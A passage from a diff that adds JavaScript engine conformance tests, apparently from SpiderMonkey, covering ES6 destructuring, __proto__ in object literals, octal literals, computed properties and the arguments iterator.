+[, ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[2],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(0);
+assertEq(log,
+ "next," +
+ "set:a=undefined," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(1);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=undefined," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(2);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(3);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "set:r=[],");
+
+reset();
+[obj.a, obj.b, , ...obj.r] = createIterable(4);
+assertEq(log,
+ "next," +
+ "set:a=1," +
+ "next," +
+ "set:b=2," +
+ "next," +
+ "next," +
+ "next," +
+ "set:r=[4],");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-array-lexical.js b/js/src/tests/ecma_6/Expressions/destructuring-array-lexical.js
new file mode 100644
index 000000000..133858a09
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-array-lexical.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1184922;
+var summary = "Array destructuring with accessing uninitialized lexical binding.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertThrowsInstanceOf(() => { let y = [y] = []; },
+ ReferenceError);
+assertThrowsInstanceOf(() => { let y = [y] = [,]; },
+ ReferenceError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Expressions/destructuring-pattern-parenthesized.js b/js/src/tests/ecma_6/Expressions/destructuring-pattern-parenthesized.js
new file mode 100644
index 000000000..ca495c886
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/destructuring-pattern-parenthesized.js
@@ -0,0 +1,140 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146136;
+var summary =
+ 'Parenthesized "destructuring patterns" are not usable as destructuring ' +
+ 'patterns';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Don't pollute the top-level script with eval references.
+var savedEval = this[String.fromCharCode(101, 118, 97, 108)];
+
+function checkError(code, nonstrictErr, strictErr)
+{
+ function helper(exec, prefix, err)
+ {
+ var fullCode = prefix + code;
+ try
+ {
+ var f = exec(fullCode);
+
+ var error =
+ "no early error, parsed code <" + fullCode + "> using " + exec.name;
+ if (typeof f === "function")
+ {
+ try
+ {
+ f();
+ error += ", and the function can be called without error";
+ }
+ catch (e)
+ {
+ error +=", and calling the function throws " + e;
+ }
+ }
+
+ throw new Error(error);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof err, true,
+ "expected " + err.name + ", got " + e + " " +
+ "for code <" + fullCode + "> when parsed using " + exec.name);
+ }
+ }
+
+ helper(Function, "", nonstrictErr);
+ helper(Function, "'use strict'; ", strictErr);
+ helper(savedEval, "", nonstrictErr);
+ helper(savedEval, "'use strict'; ", strictErr);
+}
+
+// Parenthesized destructuring patterns don't trigger grammar refinement, so we
+// get the currently-usual ReferenceError for an invalid assignment target, per
+// 12.14.1 second bullet.
+checkError("var a, b; ([a, b]) = [1, 2];", ReferenceError, ReferenceError);
+checkError("var a, b; ({a, b}) = { a: 1, b: 2 };", ReferenceError, ReferenceError);
+
+// *Nested* parenthesized destructuring patterns, on the other hand, do trigger
+// grammar refinement. But subtargets in a destructuring pattern must be
+// either object/array literals that match the destructuring pattern refinement
+// *or* valid simple assignment targets (or such things with a default, with the
+// entire subtarget unparenthesized: |a = 3| is fine, |(a) = 3| is fine for
+// destructuring in an expression, |(a = 3)| is forbidden). Parenthesized
+// object/array patterns are neither. And so 12.14.5.1 third bullet requires an
+// early SyntaxError.
+checkError("var a, b; ({ a: ({ b: b }) } = { a: { b: 42 } });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: { b: (b = 7) } } = { a: {} });", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: ([b]) } = { a: [42] });", SyntaxError, SyntaxError);
+checkError("var a, b; [(a = 5)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; ({ a: (b = 7)} = { b: 1 });", SyntaxError, SyntaxError);
+
+Function("var a, b; [(a), b] = [1, 2];")();
+Function("var a, b; [(a) = 5, b] = [1, 2];")();
+Function("var a, b; [(arguments), b] = [1, 2];")();
+Function("var a, b; [(arguments) = 5, b] = [1, 2];")();
+Function("var a, b; [(eval), b] = [1, 2];")();
+Function("var a, b; [(eval) = 5, b] = [1, 2];")();
+
+var repair = {}, demolition = {};
+
+Function("var a, b; [(repair.man), b] = [1, 2];")();
+Function("var a, b; [(demolition['man']) = 'motel', b] = [1, 2];")();
+Function("var a, b; [(demolition['man' + {}]) = 'motel', b] = [1, 2];")(); // evade constant-folding
+
+function classesEnabled()
+{
+ try
+ {
+ new Function("class B { constructor() { } }; class D extends B { constructor() { super(); } }");
+ return true;
+ }
+ catch (e if e instanceof SyntaxError)
+ {
+ return false;
+ }
+}
+
+if (classesEnabled())
+{
+ Function("var a, b; var obj = { x() { [(super.man), b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8]) = 'motel', b] = [1, 2]; } };")();
+ Function("var a, b; var obj = { x() { [(super[8 + {}]) = 'motel', b] = [1, 2]; } };")(); // evade constant-folding
+}
+
+// As noted above, when the assignment element has an initializer, the
+// assignment element must not be parenthesized.
+checkError("var a, b; [(repair.man = 17)] = [1];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man'] = 'motel')] = [1, 2];", SyntaxError, SyntaxError);
+checkError("var a, b; [(demolition['man' + {}] = 'motel')] = [1];", SyntaxError, SyntaxError); // evade constant-folding
+if (classesEnabled())
+{
+ checkError("var a, b; var obj = { x() { [(super.man = 5)] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8] = 'motel')] = [1]; } };", SyntaxError, SyntaxError);
+ checkError("var a, b; var obj = { x() { [(super[8 + {}] = 'motel')] = [1]; } };", SyntaxError, SyntaxError); // evade constant-folding
+}
+
+// In strict mode, assignment to funcall *immediately* triggers ReferenceError
+// before we can recognize this doesn't even match the destructuring grammar to
+// begin with. Bleh. :-( Probably they should all be made SyntaxError in the
+// specs; see <https://bugs.ecmascript.org/show_bug.cgi?id=4375>.
+checkError("var a, b; [f() = 'ohai', b] = [1, 2];", SyntaxError, ReferenceError);
+checkError("var a, b; [(f()) = 'kthxbai', b] = [1, 2];", SyntaxError, ReferenceError);
+
+Function("var a, b; ({ a: (a), b} = { a: 1, b: 2 });")();
+Function("var a, b; ({ a: (a) = 5, b} = { a: 1, b: 2 });")();
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/object-literal-__proto__.js b/js/src/tests/ecma_6/Expressions/object-literal-__proto__.js
new file mode 100644
index 000000000..531ef7fc5
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/object-literal-__proto__.js
@@ -0,0 +1,267 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1061853;
+var summary =
+ "__proto__ in object literals in non-__proto__:v contexts doesn't modify " +
+ "[[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function hasOwn(obj, prop)
+{
+ return Object.getOwnPropertyDescriptor(obj, prop) !== undefined;
+}
+
+var objectStart = "{ ";
+var objectEnd = " }";
+
+var members =
+ {
+ nullProto: "__proto__: null",
+ functionProtoProto: "__proto__: Function.prototype",
+ computedNull: "['__proto__']: null",
+ method: "__proto__() {}",
+ computedMethod: "['__proto__']() {}",
+ generatorMethod: "*__proto__() {}",
+ computedGenerator: "*['__proto__']() {}",
+ shorthand: "__proto__",
+ getter: "get __proto__() { return 42; }",
+ getterComputed: "get ['__proto__']() { return 42; }",
+ setter: "set __proto__(v) { }",
+ setterComputed: "set ['__proto__'](v) { }",
+ };
+
+function isProtoMutation(key)
+{
+ return key === "nullProto" || key === "functionProtoProto";
+}
+
+function isGetter(key)
+{
+ return key === "getter" || key === "getterComputed";
+}
+
+function isSetter(key)
+{
+ return key === "setter" || key === "setterComputed";
+}
+
+function isData(key)
+{
+ return !isProtoMutation(key) && !isGetter(key) && !isSetter(key);
+}
+
+var __proto__ = "string value";
+
+function typeOfProto(key)
+{
+ if (key === "computedNull")
+ return "object";
+ if (key === "method" || key === "computedMethod" ||
+ key === "computedGenerator" || key === "generatorMethod")
+ {
+ return "function";
+ }
+ if (key === "getter" || key === "getterComputed")
+ return "number";
+ assertEq(key, "shorthand", "bug in test!");
+ return "string";
+}
+
+for (var first in members)
+{
+ var fcode = "return " + objectStart + members[first] + objectEnd;
+ var f = Function(fcode);
+ var oneProp = f();
+
+ if (first === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), null);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (first === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Function.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), false);
+ }
+ else if (isSetter(first))
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(oneProp, "__proto__").set,
+ "function");
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(oneProp), Object.prototype);
+ assertEq(hasOwn(oneProp, "__proto__"), true);
+ assertEq(typeof oneProp.__proto__, typeOfProto(first));
+ }
+
+ for (var second in members)
+ {
+ try
+ {
+ var gcode = "return " + objectStart + members[first] + ", " +
+ members[second] + objectEnd;
+ var g = Function(gcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
+ +(second === "nullProto" || second === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict between members: " + first + ", " + second);
+ continue;
+ }
+
+ var twoProps = g();
+
+ if (first === "nullProto" || second === "nullProto")
+ assertEq(Object.getPrototypeOf(twoProps), null);
+ else if (first === "functionProtoProto" || second === "functionProtoProto")
+ assertEq(Object.getPrototypeOf(twoProps), Function.prototype);
+ else
+ assertEq(Object.getPrototypeOf(twoProps), Object.prototype);
+
+ if (isSetter(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else if (isSetter(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").set,
+ "function");
+ assertEq(typeof Object.getOwnPropertyDescriptor(twoProps, "__proto__").get,
+ "undefined");
+ }
+ else if (!isProtoMutation(first))
+ {
+ assertEq(hasOwn(twoProps, "__proto__"), true);
+ assertEq(typeof twoProps.__proto__, typeOfProto(first));
+ }
+ else
+ {
+ assertEq(true, false, "should be unreachable: " + first + ", " + second);
+ }
+
+ for (var third in members)
+ {
+ try
+ {
+ var hcode = "return " + objectStart + members[first] + ", " +
+ members[second] + ", " +
+ members[third] + objectEnd;
+ var h = Function(hcode);
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "__proto__ member conflicts should be syntax errors, got " + e);
+ assertEq(+(first === "nullProto" || first === "functionProtoProto") +
+ +(second === "nullProto" || second === "functionProtoProto") +
+ +(third === "nullProto" || third === "functionProtoProto") > 1,
+ true,
+ "unexpected conflict among members: " +
+ first + ", " + second + ", " + third);
+ continue;
+ }
+
+ var threeProps = h();
+
+ if (first === "nullProto" || second === "nullProto" ||
+ third === "nullProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), null);
+ }
+ else if (first === "functionProtoProto" ||
+ second === "functionProtoProto" ||
+ third === "functionProtoProto")
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Function.prototype);
+ }
+ else
+ {
+ assertEq(Object.getPrototypeOf(threeProps), Object.prototype);
+ }
+
+ if (isSetter(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(second) || (!isData(second) && isGetter(first))
+ ? "function"
+ : "undefined",
+ "\n" + hcode);
+ }
+ else if (!isProtoMutation(third))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(third), first + ", " + second + ", " + third);
+ if (isGetter(third))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(second) || (!isData(second) && isSetter(first))
+ ? "function"
+ : "undefined");
+ }
+ }
+ else if (isSetter(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof Object.getOwnPropertyDescriptor(threeProps, "__proto__").get,
+ isGetter(first) ? "function" : "undefined");
+ }
+ else if (!isProtoMutation(second))
+ {
+ assertEq(hasOwn(threeProps, "__proto__"), true);
+ assertEq(typeof threeProps.__proto__, typeOfProto(second));
+ if (isGetter(second))
+ {
+ var desc = Object.getOwnPropertyDescriptor(threeProps, "__proto__");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set,
+ isSetter(first) ? "function" : "undefined");
+ }
+ }
+ else
+ {
+ assertEq(true, false,
+ "should be unreachable: " +
+ first + ", " + second + ", " + third);
+ }
+ }
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/object-literal-computed-property-evaluation.js b/js/src/tests/ecma_6/Expressions/object-literal-computed-property-evaluation.js
new file mode 100644
index 000000000..d26783d35
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/object-literal-computed-property-evaluation.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1199546;
+var summary =
+ "Convert computed property name expressions to property key before " +
+ "evaluating the property's value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var s = "foo";
+var convertsToS = { toString() { return s; } };
+
+var o = {
+ [convertsToS]: // after ToPropertyKey becomes "foo"
+ (function() {
+ s = 'bar';
+ return 'abc'; // so we have "foo": "bar" for the first property
+ })(),
+
+ [convertsToS]: // |s| was set above to "bar", so after ToPropertyKey, "bar"
+ 'efg' // so we have "bar": "efg" for the second property
+};
+
+assertEq(o.foo, "abc");
+assertEq(o.bar, "efg");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/octal-literals.js b/js/src/tests/ecma_6/Expressions/octal-literals.js
new file mode 100644
index 000000000..abeef8736
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/octal-literals.js
@@ -0,0 +1,103 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 894026;
+var summary = "Implement ES6 octal literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var chars = ['o', 'O'];
+
+for (var i = 0; i < 8; i++)
+{
+ if (i === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var j = 0; j < 8; j++)
+ {
+ if (j === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 8; k++)
+ {
+ if (k === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 64 + j * 8 + k);
+ });
+ }
+ }
+}
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0o110/2, 36);
+assertEq(0O644/2, 210);
+
+function strict()
+{
+ "use strict";
+ return 0o755;
+}
+assertEq(strict(), 7 * 64 + 5 * 8 + 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Expressions/shell.js b/js/src/tests/ecma_6/Expressions/shell.js
new file mode 100644
index 000000000..0a0a24656
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/shell.js
@@ -0,0 +1,186 @@
+(function(global) {
+ function func() {
+ }
+ class C {
+ foo() {
+ }
+ static foo() {
+ }
+ }
+
+ function test_one(pattern, val, opt) {
+ var stmts = [];
+ var i = 0;
+ var c;
+
+ stmts.push(`var ${pattern} = ${val};`);
+ if (!opt.no_comp) {
+ stmts.push(`[for (x of [1]) ${pattern} = ${val}];`);
+ stmts.push(`[...(for (x of [1]) ${pattern} = ${val})];`);
+ }
+
+ for (var stmt of stmts) {
+ if (!opt.no_plain) {
+ eval(`
+${stmt}
+`);
+ }
+
+ if (!opt.no_func) {
+ eval(`
+function f${i}() {
+ ${stmt}
+}
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo() {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+
+ eval(`
+var f${i} = () => {
+ ${stmt}
+};
+f${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_gen) {
+ eval(`
+function* g${i}() {
+ ${stmt}
+}
+[...g${i}()];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo() {
+ ${stmt}
+};
+[...g${i}()];
+`);
+ i++;
+ }
+
+ if (!opt.no_ctor) {
+ eval(`
+class D${i} {
+ constructor() {
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+
+ if (!opt.no_derived_ctor) {
+ if (opt.no_pre_super) {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ ${stmt}
+ try { super(); } catch (e) {}
+ }
+}
+new D${i}();
+`);
+ i++;
+ } else {
+ eval(`
+class D${i} extends C {
+ constructor() {
+ super();
+ ${stmt}
+ }
+}
+new D${i}();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_method) {
+ eval(`
+class D${i} extends C {
+ method() {
+ ${stmt}
+ }
+ static staticMethod() {
+ ${stmt}
+ }
+}
+new D${i}().method();
+D${i}.staticMethod();
+`);
+ i++;
+ }
+ }
+
+ if (!opt.no_func_arg) {
+ eval(`
+function f${i}(${pattern}) {}
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = function foo(${pattern}) {};
+f${i}(${val});
+`);
+ i++;
+
+ eval(`
+var f${i} = (${pattern}) => {};
+f${i}(${val});
+`);
+ i++;
+ }
+
+ if (!opt.no_gen_arg) {
+ eval(`
+function* g${i}(${pattern}) {}
+[...g${i}(${val})];
+`);
+ i++;
+
+ eval(`
+var g${i} = function* foo(${pattern}) {};
+[...g${i}(${val})];
+`);
+ i++;
+ }
+ }
+
+ function test(expr, opt={}) {
+ var pattern = `[a=${expr}, ...c]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[,a=${expr}]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ test_one(pattern, "[1, 2]", opt);
+
+ pattern = `[{x: [a=${expr}]}]`;
+ test_one(pattern, "[{x: [1]}]", opt);
+
+ pattern = `[x=[a=${expr}]=[]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+
+ pattern = `[x=[a=${expr}]=[1]]`;
+ test_one(pattern, "[]", opt);
+ test_one(pattern, "[1]", opt);
+ }
+
+ global.testDestructuringArrayDefault = test;
+})(this);
diff --git a/js/src/tests/ecma_6/Expressions/tagged-template-constant-folding.js b/js/src/tests/ecma_6/Expressions/tagged-template-constant-folding.js
new file mode 100644
index 000000000..6041cbc16
--- /dev/null
+++ b/js/src/tests/ecma_6/Expressions/tagged-template-constant-folding.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1182373;
+var summary =
+ "Don't let constant-folding in the MemberExpression part of a tagged " +
+ "template cause an incorrect |this| be passed to the callee";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var prop = "global";
+
+var obj = { prop: "obj", f: function() { return this.prop; } };
+
+assertEq(obj.f``, "obj");
+assertEq((true ? obj.f : null)``, "global");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Function/arguments-extra-property.js b/js/src/tests/ecma_6/Function/arguments-extra-property.js
new file mode 100644
index 000000000..017734382
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/arguments-extra-property.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 1263811;
+var summary = "GetElem for modified arguments shouldn't be optimized to get original argument.";
+
+print(BUGNUMBER + ": " + summary);
+
+function testModifyFirst() {
+ function f() {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ assertEq(arguments[1], 30);
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyFirst();
+
+function testModifyLater() {
+ function f() {
+ var ans = 20;
+ for (let i = 0; i < 10; i++) {
+ if (i == 5) {
+ Object.defineProperty(arguments, 1, { value: 30 });
+ ans = 30;
+ }
+ assertEq(arguments[1], ans);
+ }
+ }
+ for (let i = 0; i < 10; i++)
+ f(10, 20);
+}
+testModifyLater();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/arguments-iterator.js b/js/src/tests/ecma_6/Function/arguments-iterator.js
new file mode 100644
index 000000000..5610b8a24
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/arguments-iterator.js
@@ -0,0 +1,167 @@
+var BUGNUMBER = 992617;
+var summary = "Implement arguments[@@iterator].";
+
+print(BUGNUMBER + ": " + summary);
+
+// MappedArgumentsObject
+let mapped = [
+ function(a, b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function(a, b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function(a, b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function(a, b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: 10, done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function(a, b, c) {
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [10, 40, 30]);
+ },
+ function(a, b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [10, 20, 30, undefined]);
+ },
+ function(a, b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [10, 20, 30]);
+ },
+ function(a, b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of mapped) {
+ f(10, 20, 30);
+}
+
+var g1 = newGlobal();
+assertEq(g1.eval(`
+function f(a, b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f(1, 2, 3);
+`), "values");
+
+// UnmappedArgumentsObject
+let unmapped = [
+ function([a], b, c) {
+ assertEq(Symbol.iterator in arguments, true);
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = 10;
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ Object.defineProperty(arguments, Symbol.iterator, {
+ value: 10, writable: true, enumerable: true, configurable: true
+ });
+ delete arguments[Symbol.iterator];
+ assertEq(Symbol.iterator in arguments, false);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator], Array.prototype[Symbol.iterator]);
+ },
+ function([a], b, c) {
+ assertEq(arguments[Symbol.iterator].name, "values");
+ },
+ function([a], b, c) {
+ var desc = Object.getOwnPropertyDescriptor(arguments, Symbol.iterator);
+ assertEq("value" in desc, true);
+ assertEq(desc.value, Array.prototype[Symbol.iterator]);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ },
+ function([a], b, c) {
+ var iter = arguments[Symbol.iterator]();
+ assertDeepEq(iter.next(), { value: [10], done: false });
+ assertDeepEq(iter.next(), { value: 20, done: false });
+ assertDeepEq(iter.next(), { value: 30, done: false });
+ assertDeepEq(iter.next(), { value: undefined, done: true });
+ },
+ function([a], b, c) {
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ b = 40;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments.length = 4;
+ assertDeepEq([...arguments], [[10], 20, 30, undefined]);
+ },
+ function([a], b, c) {
+ arguments[5] = 50;
+ assertDeepEq([...arguments], [[10], 20, 30]);
+ },
+ function([a], b, c) {
+ arguments[Symbol.iterator] = function*() {
+ yield 40;
+ yield 50;
+ yield 60;
+ };
+ assertDeepEq([...arguments], [40, 50, 60]);
+ },
+];
+for (let f of unmapped) {
+ f([10], 20, 30);
+}
+
+var g2 = newGlobal();
+assertEq(g2.eval(`
+function f([a], b, c) {
+ return arguments[Symbol.iterator].name;
+}
+f([1], 2, 3);
+`), "values");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/arguments-parameter-shadowing.js b/js/src/tests/ecma_6/Function/arguments-parameter-shadowing.js
new file mode 100644
index 000000000..bc2b43011
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/arguments-parameter-shadowing.js
@@ -0,0 +1,22 @@
+// Test that var declarations of arguments "shadows" the arguments binding
+// used in parameter expressions.
+
+function g8(h = () => arguments) {
+ var arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g8();
+
+function g9(h = () => arguments) {
+ var arguments;
+ assertEq(void 0 === arguments, false);
+ assertEq(h(), arguments);
+ arguments = 0;
+ assertEq(arguments, 0);
+ assertEq(arguments === h(), false);
+}
+g9();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/arrow-has-duplicated.js b/js/src/tests/ecma_6/Function/arrow-has-duplicated.js
new file mode 100644
index 000000000..19096ebf8
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/arrow-has-duplicated.js
@@ -0,0 +1,15 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if arrow function has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+(a, a) => {
+};
+`), SyntaxError);
